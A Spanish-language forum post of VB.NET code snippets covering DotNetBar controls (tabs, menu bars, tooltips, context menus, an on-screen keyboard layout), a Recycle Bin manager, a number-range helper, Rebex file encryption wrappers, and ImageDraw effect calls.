' DotNetBar [Ballon] Example to create a new Ballon.
' ( By Elektro )
'
' Instructions:
' 1. Add a reference to 'DevComponents.DotNetBar.dll'.
' 2. Add a 'SuperTabControl' control.
Private Sub Test(sender As Object, e As EventArgs) Handles MyBase.Shown
' Create a new Tab.
Dim tab As SuperTabItem = SuperTabControl1.CreateTab("New Tab")
' Create a new Tab-Panel.
Dim tabpanel As SuperTabControlPanel = DirectCast(tab.AttachedControl, SuperTabControlPanel)
' Create a random control.
Dim wbr As New WebBrowser() With {.Dock = DockStyle.Fill}
wbr.Navigate("google.com")
'Add the control to the Tab-Panel.
tabpanel.Controls.Add(wbr)
' Remove the Tab.
' SuperTabControl1.Tabs.Remove(tab)
' And remember to dispose the Tab-Panel and the added Controls.
' tabpanel.Dispose()
' wbr.Dispose()
End Sub
Ejemplo de como crear una Bar en tiempo de ejecución.
' DotNetBar [DotNetBarManager] Example to create a new Bar at execution-time.
' ( By Elektro )
'
' Instructions:
' 1. Add a reference to 'DevComponents.DotNetBar.dll'.
' 2. Add a 'DotNetBarManager' control.
Private Sub Test(sender As Object, e As EventArgs) Handles MyBase.Shown
Dim bar As Bar
Dim menu As ButtonItem
Dim submenu As ButtonItem
bar = New Bar("My Menu Bar")
bar.ColorScheme.DockSiteBackColor = Color.YellowGreen
bar.ColorScheme.DockSiteBackColor2 = Color.YellowGreen
bar.ColorScheme.MenuBarBackground = Color.FromArgb(80, 80, 80)
bar.ColorScheme.MenuBarBackground2 = Color.FromArgb(40, 40, 40)
bar.ColorScheme.MenuSide = Color.Silver
bar.ColorScheme.MenuSide2 = Color.FromArgb(80, 80, 80)
bar.ColorScheme.ItemText = Color.Black
bar.ColorScheme.ItemBackground = Color.Silver
bar.ColorScheme.ItemBackground2 = Color.Silver
bar.ColorScheme.ItemHotText = Color.Black
bar.ColorScheme.ItemHotBackground = Color.YellowGreen
bar.ColorScheme.ItemHotBackground2 = Color.YellowGreen
bar.MenuBar = True
bar.Stretch = True
DotNetBarManager1.UseGlobalColorScheme = False
DotNetBarManager1.Bars.Add(bar)
bar.DockSide = eDockSide.Top
menu = New ButtonItem("bFile", "&File")
bar.Items.Add(menu)
submenu = New ButtonItem("bOpen", "&Open")
menu.SubItems.Add(submenu)
submenu = New ButtonItem("bClose", "&Close")
menu.SubItems.Add(submenu)
submenu = New ButtonItem("bExit", "&Exit")
submenu.BeginGroup = True
menu.SubItems.Add(submenu)
menu = New ButtonItem("bEdit", "&Edit")
bar.Items.Add(menu)
submenu = New ButtonItem("bCut", "&Cut")
menu.SubItems.Add(submenu)
submenu = New ButtonItem("bCopy", "&Copy")
menu.SubItems.Add(submenu)
submenu = New ButtonItem("bPaste", "&Paste")
menu.SubItems.Add(submenu)
submenu = New ButtonItem("bClear", "&Clear")
submenu.BeginGroup = True
menu.SubItems.Add(submenu)
bar.RecalcLayout()
End Sub
Ejemplo de como crear y asignar un SuperTooltipInfo
' DotNetBar [SuperTooltipInfo] Example to create a new SuperTooltipInfo.
' ( By Elektro )
'
' Instructions:
' 1. Add a reference to 'DevComponents.DotNetBar.dll'.
' 2. Add a 'SuperToolTip' control in the Designer.
' SuperTooltipInfo type describes Super-Tooltip
Dim superTooltip As New SuperTooltipInfo()
With superTooltip
.HeaderText = "Header text"
.BodyText = "Body text with <strong>text-markup</strong> support. Header and footer support text-markup too."
.FooterText = "My footer text"
End With
' Assign tooltip to a control or DotNetBar component
SuperTooltip1.SetSuperTooltip(TextBox1, superTooltip)
' To remove tooltip from a control or component use
' SuperTooltip1.SetSuperTooltip(TextBox1, Nothing)
Ejemplo de como crear y mostrar un ContextMenu.
' DotNetBar [ContextMenuBar] Create a new ContextMenu.
' ( By Elektro )
'
' Instructions:
' 1. Add a reference to 'DevComponents.DotNetBar.dll'.
Private Sub Test() Handles MyBase.Shown
' Create context menu item that is assigned to controls or items
Dim ContextMenu As New ButtonItem("myContextMenuItemName")
' Create a Context MenuItem
Dim MenuItem As New ButtonItem("MenuItemName1")
MenuItem.Text = "Context MenuItem 1"
AddHandler MenuItem.Click, AddressOf MenuItemClick
' Add item to Context Menu
ContextMenu.SubItems.Add(MenuItem)
' Create second Context MenuItem
MenuItem = New ButtonItem("MenuItemName2", "Context MenuItem 2")
AddHandler MenuItem.Click, AddressOf MenuItemClick
' Add item to Context Menu
ContextMenu.SubItems.Add(MenuItem)
' Add Context Menu to Context MenuBar
ContextMenuBar1.Items.Add(ContextMenu)
' Assign context menu to text-box
ContextMenuBar1.SetContextMenuEx(TextBox1, ContextMenu)
End Sub
Otro snippet para los controles de DotNetBar, para el 'KeyboardControl' en concreto.
Ejemplo de como crear una un Layout personalizado del teclado.
' DotNetBar [KeyboardControl] Example to create a Keyboard Layout at execution-time.
'
' Instructions:
' 1. Add a reference to 'DevComponents.DotNetBar.dll'.
' 2. Add a 'KeyboardControl' control.
Private Sub Test(sender As Object, e As EventArgs) Handles MyBase.Shown
' Set the new Keyboard Layout
KeyboardControl1.Keyboard = CreateDefaultKeyboard()
End Sub
''' <summary>
''' Creates the default keyboard.
''' </summary>
''' <returns>Keyboard.</returns>
Public Shared Function CreateDefaultKeyboard() As Keyboard
Dim keyboard As New Keyboard
' Actually there are 4 layout objects,
' but for code simplicity this variable is reused for creating each of them.
Dim kc As LinearKeyboardLayout
'#Region "Normal style configuration (no modifier keys pressed)"
kc = New LinearKeyboardLayout()
keyboard.Layouts.Add(kc)
kc.AddKey("q")
kc.AddKey("w")
kc.AddKey("e")
kc.AddKey("r")
kc.AddKey("t")
kc.AddKey("y")
kc.AddKey("u")
kc.AddKey("i")
kc.AddKey("o")
kc.AddKey("p")
kc.AddKey("Backspace", info:="{BACKSPACE}", width:=21)
kc.AddLine()
kc.AddSpace(4)
kc.AddKey("a")
kc.AddKey("s")
kc.AddKey("d")
kc.AddKey("f")
kc.AddKey("g")
kc.AddKey("h")
kc.AddKey("j")
kc.AddKey("k")
kc.AddKey("l")
kc.AddKey("'")
kc.AddKey("Enter", info:="{ENTER}", width:=17)
kc.AddLine()
kc.AddKey("Shift", info:="", style:=KeyStyle.Dark, layout:=1)
kc.AddKey("z")
kc.AddKey("x")
kc.AddKey("c")
kc.AddKey("v")
kc.AddKey("b")
kc.AddKey("n")
kc.AddKey("m")
kc.AddKey(",")
kc.AddKey(".")
kc.AddKey("?")
kc.AddKey("Shift", info:="", style:=KeyStyle.Dark, layout:=1)
kc.AddLine()
kc.AddKey("Ctrl", info:="", style:=KeyStyle.Dark, layout:=2)
kc.AddKey("&123", info:="", style:=KeyStyle.Dark, layout:=3)
kc.AddKey(":-)", info:=":-{)}", style:=KeyStyle.Dark)
'kc.AddKey("Alt", info: "%", style: KeyStyle.Dark);
kc.AddKey(" ", width:=76)
kc.AddKey("<", info:="{LEFT}", style:=KeyStyle.Dark)
kc.AddKey(">", info:="{RIGHT}", style:=KeyStyle.Dark)
'#End Region
'#Region "Shift modifier pressed"
kc = New LinearKeyboardLayout()
keyboard.Layouts.Add(kc)
kc.AddKey("Q", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("W", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("E", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("R", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("T", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("Y", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("U", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("I", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("O", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("P", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("Backspace", info:="{BACKSPACE}", width:=21)
kc.AddLine()
kc.AddSpace(4)
kc.AddKey("A", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("S", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("D", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("F", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("G", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("H", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("J", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("K", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("L", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("""", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("Enter", info:="{ENTER}", width:=17)
kc.AddLine()
kc.AddKey("Shift", info:="", style:=KeyStyle.Pressed, layout:=0, layoutEx:=4)
kc.AddKey("Z", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("X", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("C", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("V", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("B", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("N", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("M", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey(";", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey(":", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("!", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("Shift", info:="", style:=KeyStyle.Pressed, layout:=0, layoutEx:=4)
kc.AddLine()
kc.AddKey("Ctrl", info:="", style:=KeyStyle.Dark, layout:=2)
kc.AddKey("&123", info:="", style:=KeyStyle.Dark, layout:=3)
kc.AddKey(":-)", info:=":-{)}", style:=KeyStyle.Dark, layout:=KeyboardLayout.PreviousLayout)
kc.AddKey(" ", width:=76, layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("<", info:="+{LEFT}", style:=KeyStyle.Dark, layout:=KeyboardLayout.PreviousLayout)
kc.AddKey(">", info:="+{RIGHT}", style:=KeyStyle.Dark, layout:=KeyboardLayout.PreviousLayout)
'#End Region
'#Region "Ctrl modifier pressed"
kc = New LinearKeyboardLayout()
keyboard.Layouts.Add(kc)
kc.AddKey("q", info:="^q", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("w", info:="^w", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("e", info:="^e", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("r", info:="^r", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("t", info:="^t", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("y", info:="^y", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("u", info:="^u", hint:="Underline", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("i", info:="^i", hint:="Italic", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("o", info:="^o", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("p", info:="^p", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("Backspace", info:="^{BACKSPACE}", width:=21, layout:=KeyboardLayout.PreviousLayout)
kc.AddLine()
kc.AddSpace(4)
kc.AddKey("a", info:="^a", hint:="Select all", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("s", info:="^s", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("d", info:="^d", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("f", info:="^f", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("g", info:="^g", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("h", info:="^h", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("j", info:="^j", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("k", info:="^k", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("l", info:="^l", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("'", info:="^'", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("Enter", info:="^{ENTER}", width:=17, layout:=KeyboardLayout.PreviousLayout)
kc.AddLine()
kc.AddKey("Shift", info:="", layout:=1)
kc.AddKey("z", info:="^z", hint:="Undo", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("x", info:="^x", hint:="Cut", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("c", info:="^c", hint:="Copy", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("v", info:="^v", hint:="Paste", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("b", info:="^b", hint:="Bold", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("n", info:="^n", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("m", info:="^m", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey(",", info:="^,", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey(".", info:="^.", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("?", info:="^?", layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("Shift", info:="", layout:=1)
kc.AddLine()
kc.AddKey("Ctrl", info:="", style:=KeyStyle.Pressed, layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("&123", info:="", style:=KeyStyle.Dark, layout:=3)
kc.AddKey(":-)", info:="^:-{)}", style:=KeyStyle.Dark, layout:=KeyboardLayout.PreviousLayout)
kc.AddKey(" ", info:="^ ", width:=76, layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("<", info:="^{LEFT}", style:=KeyStyle.Dark, layout:=KeyboardLayout.PreviousLayout)
kc.AddKey(">", info:="^{RIGHT}", style:=KeyStyle.Dark, layout:=KeyboardLayout.PreviousLayout)
'#End Region
'#Region "Symbols and numbers (&123) modifier pressed"
kc = New LinearKeyboardLayout()
keyboard.Layouts.Add(kc)
kc.AddKey("!")
kc.AddKey("@")
kc.AddKey("#")
kc.AddKey("$")
kc.AddKey("½")
kc.AddKey("-")
kc.AddKey("+", info:="{+}")
kc.AddSpace(5)
kc.AddKey("1", style:=KeyStyle.Light)
kc.AddKey("2", style:=KeyStyle.Light)
kc.AddKey("3", style:=KeyStyle.Light)
kc.AddSpace(5)
kc.AddKey("Bcks", info:="{BACKSPACE}", style:=KeyStyle.Dark)
kc.AddLine()
' second line
kc.AddKey(";")
kc.AddKey(":")
kc.AddKey("""")
kc.AddKey("%", info:="{%}")
kc.AddKey("&")
kc.AddKey("/")
kc.AddKey("*")
kc.AddSpace(5)
kc.AddKey("4", style:=KeyStyle.Light)
kc.AddKey("5", style:=KeyStyle.Light)
kc.AddKey("6", style:=KeyStyle.Light)
kc.AddSpace(5)
kc.AddKey("Enter", info:="{ENTER}", style:=KeyStyle.Dark)
kc.AddLine()
' third line
kc.AddKey("(", info:="{(}")
kc.AddKey(")", info:="{)}")
kc.AddKey("[", info:="{[}")
kc.AddKey("]", info:="{]}")
kc.AddKey("_")
kc.AddKey("\")
kc.AddKey("=")
kc.AddSpace(5)
kc.AddKey("7", style:=KeyStyle.Light)
kc.AddKey("8", style:=KeyStyle.Light)
kc.AddKey("9", style:=KeyStyle.Light)
kc.AddSpace(5)
kc.AddKey("Tab", info:="{TAB}", style:=KeyStyle.Dark)
kc.AddLine()
' forth line
kc.AddKey("...", style:=KeyStyle.Dark, layout:=KeyboardLayout.PreviousLayout)
kc.AddKey("&123", info:="", style:=KeyStyle.Pressed, layout:=KeyboardLayout.PreviousLayout)
kc.AddKey(":-)", info:=":-{)}", style:=KeyStyle.Dark)
kc.AddKey("<", info:="{LEFT}", style:=KeyStyle.Dark)
kc.AddKey(">", info:="{RIGHT}", style:=KeyStyle.Dark)
kc.AddKey("Space", info:="^ ", width:=21)
kc.AddSpace(5)
kc.AddKey("0", style:=KeyStyle.Light, width:=21)
kc.AddKey(System.Globalization.CultureInfo.CurrentCulture.NumberFormat.NumberDecimalSeparator, style:=KeyStyle.Dark)
kc.AddSpace(5)
kc.AddLine()
'#End Region
'#Region "Shift modifier toggled"
kc = New LinearKeyboardLayout()
keyboard.Layouts.Add(kc)
kc.AddKey("Q")
kc.AddKey("W")
kc.AddKey("E")
kc.AddKey("R")
kc.AddKey("T")
kc.AddKey("Y")
kc.AddKey("U")
kc.AddKey("I")
kc.AddKey("O")
kc.AddKey("P")
kc.AddKey("Backspace", info:="{BACKSPACE}", width:=21)
kc.AddLine()
kc.AddSpace(4)
kc.AddKey("A")
kc.AddKey("S")
kc.AddKey("D")
kc.AddKey("F")
kc.AddKey("G")
kc.AddKey("H")
kc.AddKey("J")
kc.AddKey("K")
kc.AddKey("L")
kc.AddKey("'")
kc.AddKey("Enter", info:="{ENTER}", width:=17)
kc.AddLine()
kc.AddKey("Shift", info:="", style:=KeyStyle.Toggled, layout:=0)
kc.AddKey("Z")
kc.AddKey("X")
kc.AddKey("C")
kc.AddKey("V")
kc.AddKey("B")
kc.AddKey("N")
kc.AddKey("M")
kc.AddKey(",")
kc.AddKey(".")
kc.AddKey("?")
kc.AddKey("Shift", info:="", style:=KeyStyle.Toggled, layout:=0)
kc.AddLine()
kc.AddKey("Ctrl", info:="", style:=KeyStyle.Dark, layout:=2)
kc.AddKey("&123", info:="", style:=KeyStyle.Dark, layout:=3)
kc.AddKey(":-)", info:=":-{)}", style:=KeyStyle.Dark)
kc.AddKey(" ", width:=76)
kc.AddKey("<", info:="+{LEFT}", style:=KeyStyle.Dark)
kc.AddKey(">", info:="+{RIGHT}", style:=KeyStyle.Dark)
'#End Region
Return keyboard
End Function
RecycleBin Manager (Versión mejorada ...y acabada)
Un ayudante para obtener información sobre la papelera de reciclaje principal o el resto de papeleras así como de los elementos eliminados,
además de realizar otras operaciones como eliminar permanentemente o deshacer la eliminación (invocando verbos).
Aquí pueden ver el código ~> http://pastebin.com/eRync5pA
Índice de miembros públicos:
' ----------
' Properties
' ----------
'
' MainBin.Files
' MainBin.Folders
' MainBin.Items
' MainBin.ItemsCount
' MainBin.LastDeletedFile
' MainBin.LastDeletedFolder
' MainBin.LastDeletedItem
' MainBin.Size
' -------
' Methods
' -------
'
' MainBin.Empty()
' MainBin.RefreshIcon()
'
' Tools.Empty()
' Tools.GetSize()
' Tools.GetDeletedFiles()
' Tools.GetDeletedFolders()
' Tools.GetDeletedItems()
' Tools.GetItemsCount()
' Tools.GetLastDeletedFile()
' Tools.GetLastDeletedFolder()
' Tools.GetLastDeletedItem()
' Tools.DeleteItem
' Tools.UndeleteItem
' Tools.InvokeItemVerb
Ejemplos de uso:
1.
' Empties all the Recycle Bins.
RecycleBinManager.MainBin.Empty()
' Empties the Recycle Bin of the "E" drive.
RecycleBinManager.Tools.Empty("E", RecycleBinManager.Tools.RecycleBinFlags.DontShowConfirmation)
' Updates the Main Recycle Bin icon.
RecycleBinManager.MainBin.RefreshIcon()
' Gets the accumulated size (in bytes) of the Main Recycle Bin.
Dim RecycledSize As Long = RecycleBinManager.MainBin.Size
' Gets the accumulated size (in bytes) of the Recycle Bin on "E" drive.
Dim RecycledSizeE As Long = RecycleBinManager.Tools.GetSize("E")
' Gets the total deleted items count of the Main recycle bin.
Dim RecycledItemsCount As Long = RecycleBinManager.MainBin.ItemsCount
' Gets the total deleted items count of the Recycle Bin on "E" drive.
Dim RecycledItemsCountE As Long = RecycleBinManager.Tools.GetDeletedItems("E").Count
' Get all the deleted items inside the Main Recycle Bin.
Dim RecycledItems As ShellObject() = RecycleBinManager.MainBin.Items
' Get all the deleted files inside the Main Recycle Bin.
Dim RecycledFiles As ShellFile() = RecycleBinManager.MainBin.Files
' Get all the deleted folders inside the Main Recycle Bin.
Dim RecycledFolders As ShellFolder() = RecycleBinManager.MainBin.Folders
' Get all the deleted items inside the Recycle Bin on "E" drive.
Dim RecycledItemsE As ShellObject() = RecycleBinManager.Tools.GetDeletedItems("E")
' Get all the deleted files inside the Recycle Bin on "E" drive.
Dim RecycledFilesE As ShellFile() = RecycleBinManager.Tools.GetDeletedFiles("E")
' Get all the deleted folders inside the Recycle Bin on "E" drive.
Dim RecycledFoldersE As ShellFolder() = RecycleBinManager.Tools.GetDeletedFolders("E")
' Gets the Last deleted Item inside the Main Recycle Bin.
MsgBox(RecycleBinManager.MainBin.LastDeletedItem.Name)
' Gets the Last deleted Item inside the Recycle Bin on "E" drive
MsgBox(RecycleBinManager.Tools.GetLastDeletedItem("E").Name)
' Undeletes an item.
RecycleBinManager.Tools.UndeleteItem(RecycleBinManager.MainBin.LastDeletedItem)
' Permanently deletes an item.
RecycleBinManager.Tools.DeleteItem(RecycleBinManager.MainBin.LastDeletedItem)
' Invokes an Item-Verb
RecycleBinManager.Tools.InvokeItemVerb(RecycleBinManager.MainBin.LastDeletedItem, "properties")
2.
Private Sub Test() Handles MyBase.Shown
Dim sb As New System.Text.StringBuilder
' Get all the deleted items inside all the Recycle Bins.
Dim RecycledItems As ShellObject() = RecycleBinManager.MainBin.Items
' Loop through the deleted Items (Ordered by las deleted).
For Each Item As ShellFile In (From itm In RecycledItems
Order By itm.Properties.GetProperty("System.Recycle.DateDeleted").ValueAsObject
Descending)
' Append the property bags information.
sb.AppendLine(String.Format("Full Name....: {0}",
Item.Name))
sb.AppendLine(String.Format("Item Name....: {0}",
Item.Properties.System.ItemNameDisplay.Value))
sb.AppendLine(String.Format("Deleted From.: {0}",
Item.Properties.GetProperty("System.Recycle.DeletedFrom").ValueAsObject))
sb.AppendLine(String.Format("Item Type....: {0}",
Item.Properties.System.ItemTypeText.Value))
sb.AppendLine(String.Format("Item Size....: {0}",
CStr(Item.Properties.System.Size.Value)))
sb.AppendLine(String.Format("Attributes...: {0}",
[Enum].Parse(GetType(IO.FileAttributes),
Item.Properties.System.FileAttributes.Value).ToString))
sb.AppendLine(String.Format("Date Deleted.: {0}",
Item.Properties.GetProperty("System.Recycle.DateDeleted").ValueAsObject))
sb.AppendLine(String.Format("Date Modified: {0}",
CStr(Item.Properties.System.DateModified.Value)))
sb.AppendLine(String.Format("Date Created.: {0}",
CStr(Item.Properties.System.DateCreated.Value)))
MsgBox(sb.ToString)
sb.Clear()
Next Item
End Sub
Dado una colección de números, devuelve todos los números que no están dentro de un rango especificado.
' Get Numbers Not In Range.
' ( By Elektro )
'
' Usage Examples:
'
' MsgBox(String.Join(", ", GetNumbersNotInRange({1, 3, 5, 7, 9}, 0, 10).ToArray)) ' Result: 0, 2, 4, 6, 8, 10
'
''' <summary>
''' Given a numeric collection, gets all the numbers which are not in a specified range.
''' </summary>
''' <param name="NumbersInRange">Indicates the numbers collection which are in range.</param>
''' <param name="MinRange">Indicates the minimum range.</param>
''' <param name="MaxRange">Indicates the maximum range.</param>
''' <returns>System.Collections.Generic.IEnumerable(Of System.Int32).</returns>
Private Function GetNumbersNotInRange(ByVal NumbersInRange As IEnumerable(Of Integer),
ByVal MinRange As Integer,
ByVal MaxRange As Integer) As IEnumerable(Of Integer)
Return From Number As Integer
In Enumerable.Range(MinRange, MaxRange + 1)
Where Not NumbersInRange.Contains(Number)
End Function
Unos métodos de uso genérico para cifrar y descifrar archivos (reálmente el manejo es muy simple xD) usando la librería de pago ReBex ~> http://www.rebex.net/total-pack/default.aspx
' [Rebex.Security] Encrypt-Decrypt File
' ( By Elektro )
'
' Instructions:
' 1. Add a reference to "Rebex.Security.dll"
'
' Usage Examples:
' EncryptFile("File.txt", "Encrypted.txt", "Elektro", FileEncryptionAlgorithm.AesXts, False)
' DecryptFile("Encrypted.txt", "Decrypted.txt", "Elektro", FileEncryptionAlgorithm.AesXts, False)
''' <summary>
''' Encrypts the data of the specified file.
''' </summary>
''' <param name="InFile">
''' Indicates the file to encrypt.
''' </param>
''' <param name="OutFile">
''' Indicates the resulting encrypted output file.
''' </param>
''' <param name="Password">
''' Indicates the password required to decrypt the file when needed.
''' </param>
''' <param name="Algorithm">
''' Indicates the encryption algorithm.
''' </param>
''' <param name="OverwriteExistingFile">
''' If set to <c>true</c> the resulting output file should overwrite any existing file.
''' </param>
''' <exception cref="System.Security.Cryptography.CryptographicException">
''' Unexpected error, the data to encrypt could be corrupted.
''' </exception>
''' <exception cref="System.InvalidOperationException"></exception>
Private Sub EncryptFile(ByVal InFile As String,
ByVal OutFile As String,
ByVal Password As String,
Optional ByVal Algorithm As Rebex.Security.FileEncryptionAlgorithm =
FileEncryptionAlgorithm.AesXts,
Optional ByVal OverwriteExistingFile As Boolean = False)
Dim Encryptor As New FileEncryption()
With Encryptor
.SetPassword(Password)
.EncryptionAlgorithm = Algorithm
.OverwriteExistingFile = OverwriteExistingFile
End With
Try
Encryptor.Encrypt(InFile, OutFile)
Catch ex As Security.Cryptography.CryptographicException
Throw New Security.Cryptography.CryptographicException(
"Unexpected error, the data to encrypt could be corrupted.")
Catch ex As InvalidOperationException
Throw New InvalidOperationException(
String.Format("The target file '{0}' already exist.", OutFile))
End Try
End Sub
''' <summary>
''' Decrypts the data of the specified file.
''' </summary>
''' <param name="InFile">
''' Indicates the file to decrypt.
''' </param>
''' <param name="OutFile">
''' Indicates the resulting decrypted output file.
''' </param>
''' <param name="Password">
''' Indicates the password to decrypt the File.
''' The password should be the same used when encrypted the file.
''' </param>
''' <param name="Algorithm">
''' Indicates the decryption algorithm.
''' The algorithm should be the same used when encrypted the file.
''' </param>
''' <param name="OverwriteExistingFile">
''' If set to <c>true</c> the resulting output file should overwrite any existing file.
''' </param>
''' <exception cref="System.Security.Cryptography.CryptographicException">
''' The password, the data to decrypt, or the decryption algorithm are wrong.
''' </exception>
''' <exception cref="System.InvalidOperationException"></exception>
Private Sub DecryptFile(ByVal InFile As String,
ByVal OutFile As String,
ByVal Password As String,
Optional ByVal Algorithm As Rebex.Security.FileEncryptionAlgorithm =
FileEncryptionAlgorithm.AesXts,
Optional ByVal OverwriteExistingFile As Boolean = False)
Dim Decryptor As New FileEncryption()
With Decryptor
.SetPassword(Password)
.EncryptionAlgorithm = Algorithm
.OverwriteExistingFile = OverwriteExistingFile
End With
Try
Decryptor.Decrypt(InFile, OutFile)
Catch ex As Security.Cryptography.CryptographicException
Throw New Security.Cryptography.CryptographicException(
"The password, the data to decrypt, or the decryption algorithm are wrong.")
Catch ex As InvalidOperationException
Throw New InvalidOperationException(
String.Format("The target file '{0}' already exist.", OutFile))
End Try
End Sub
Me puse a jugar con el efecto de Pixelado de la librería de pago ImageDraw ~> http://www.neodynamic.com/products/image-draw/sdk-vb-net-csharp/ ...y al final acabé escribiendo un ayudante de casi 2.000 lineas.
Aquí pueden ver el código completo ~> http://pastebin.com/Ha8tG3cA
Le añadí métodos de uso genérico para realizar las siguientes acciones (no están todos los efectos):
' -------
' Methods
' -------
'
' Properties.Brightness
' Properties.Contrast
' Properties.Gamma
' Properties.HSL
' Properties.Hue
' Properties.Opacity
'
' Effects.CameraView
' Effects.ColorSubstitution
' Effects.ConvertToBlackWhite
' Effects.ConvertToNegative
' Effects.ConvertToSepia
' Effects.Crop
' Effects.DistortCorners
' Effects.DropShadow
' Effects.Fade
' Effects.Feather
' Effects.Filmstrip
' Effects.Flip
' Effects.FocalGrayscale
' Effects.GaussianBlur
' Effects.GlassTable
' Effects.Glow
' Effects.MakeTransparent
' Effects.PerspectiveReflection
' Effects.PerspectiveView
' Effects.Pixelate
' Effects.RemoveColor
' Effects.RemoveTransparency
' Effects.Resize
' Effects.Rotate
' Effects.RoundCorners
' Effects.Scale
' Effects.Sharpen
' Effects.Silhouette
' Effects.Skew
' Effects.Solarize
' Effects.Stretch
' Effects.Tint
Ejemplos de uso:
Dim [ImageElement] As ImageElement = ImageElement.FromFile("C:\Image.png")
Dim [TextElement] As New TextElement With {.Text = "Hello World!"}
ImageDrawHelper.Properties.Brightness([ImageElement], 50)
ImageDrawHelper.Properties.Contrast([ImageElement], 50)
ImageDrawHelper.Properties.Gamma([ImageElement], 50)
ImageDrawHelper.Properties.HSL([ImageElement], 50, 50, 50)
ImageDrawHelper.Properties.Hue([ImageElement], 50)
ImageDrawHelper.Properties.Opacity([ImageElement], 50)
ImageDrawHelper.Effects.CameraView([ImageElement], 30, 25)
ImageDrawHelper.Effects.ColorSubstitution([ImageElement], Color.Black, Color.Fuchsia, 10)
ImageDrawHelper.Effects.ConvertToBlackWhite([ImageElement], DitherMethod.Threshold, 53, False)
ImageDrawHelper.Effects.ConvertToNegative([ImageElement])
ImageDrawHelper.Effects.ConvertToSepia([ImageElement])
ImageDrawHelper.Effects.Crop([ImageElement], 0, 10, 200, 160)
ImageDrawHelper.Effects.DistortCorners([ImageElement], -20, -20, 200, 0, 250, 180, -30, 200)
ImageDrawHelper.Effects.DropShadow([ImageElement], 60, Color.Lime, 270, 6, 10)
ImageDrawHelper.Effects.Fade([ImageElement], FadeShape.Oval, FillType.Gradient, GradientShape.Path)
ImageDrawHelper.Effects.Feather([ImageElement], 5, FeatherShape.Oval)
ImageDrawHelper.Effects.Filmstrip([ImageElement], FilmstripOrientation.Vertical, 150, 180, 0, Color.Yellow, 5)
ImageDrawHelper.Effects.Flip([ImageElement], FlipType.Horizontal)
ImageDrawHelper.Effects.FocalGrayscale([ImageElement], FocalShape.Oval, FillType.Gradient, GradientShape.Path, Color.FromArgb(0, 255, 255, 255), Color.FromArgb(0, 0, 0))
ImageDrawHelper.Effects.GaussianBlur([ImageElement], 5)
ImageDrawHelper.Effects.GlassTable([ImageElement], 50, 25)
ImageDrawHelper.Effects.GlassTable([ImageElement], 50, 25, ReflectionLocation.Custom, 2, 10)
ImageDrawHelper.Effects.Glow([ImageElement], Color.Red, 80, 8)
ImageDrawHelper.Effects.MakeTransparent([ImageElement])
ImageDrawHelper.Effects.PerspectiveReflection([ImageElement], 270, 50, 50, 150, 0)
ImageDrawHelper.Effects.PerspectiveView([ImageElement], 25, PerspectiveOrientation.LeftToRight)
ImageDrawHelper.Effects.Pixelate([ImageElement], 20, 0)
ImageDrawHelper.Effects.RemoveColor([ImageElement], Color.White, 10, ScanDirection.All)
ImageDrawHelper.Effects.RemoveTransparency([ImageElement])
ImageDrawHelper.Effects.Resize([ImageElement], 256, 256, LockAspectRatio.WidthBased, Drawing2D.InterpolationMode.Bicubic)
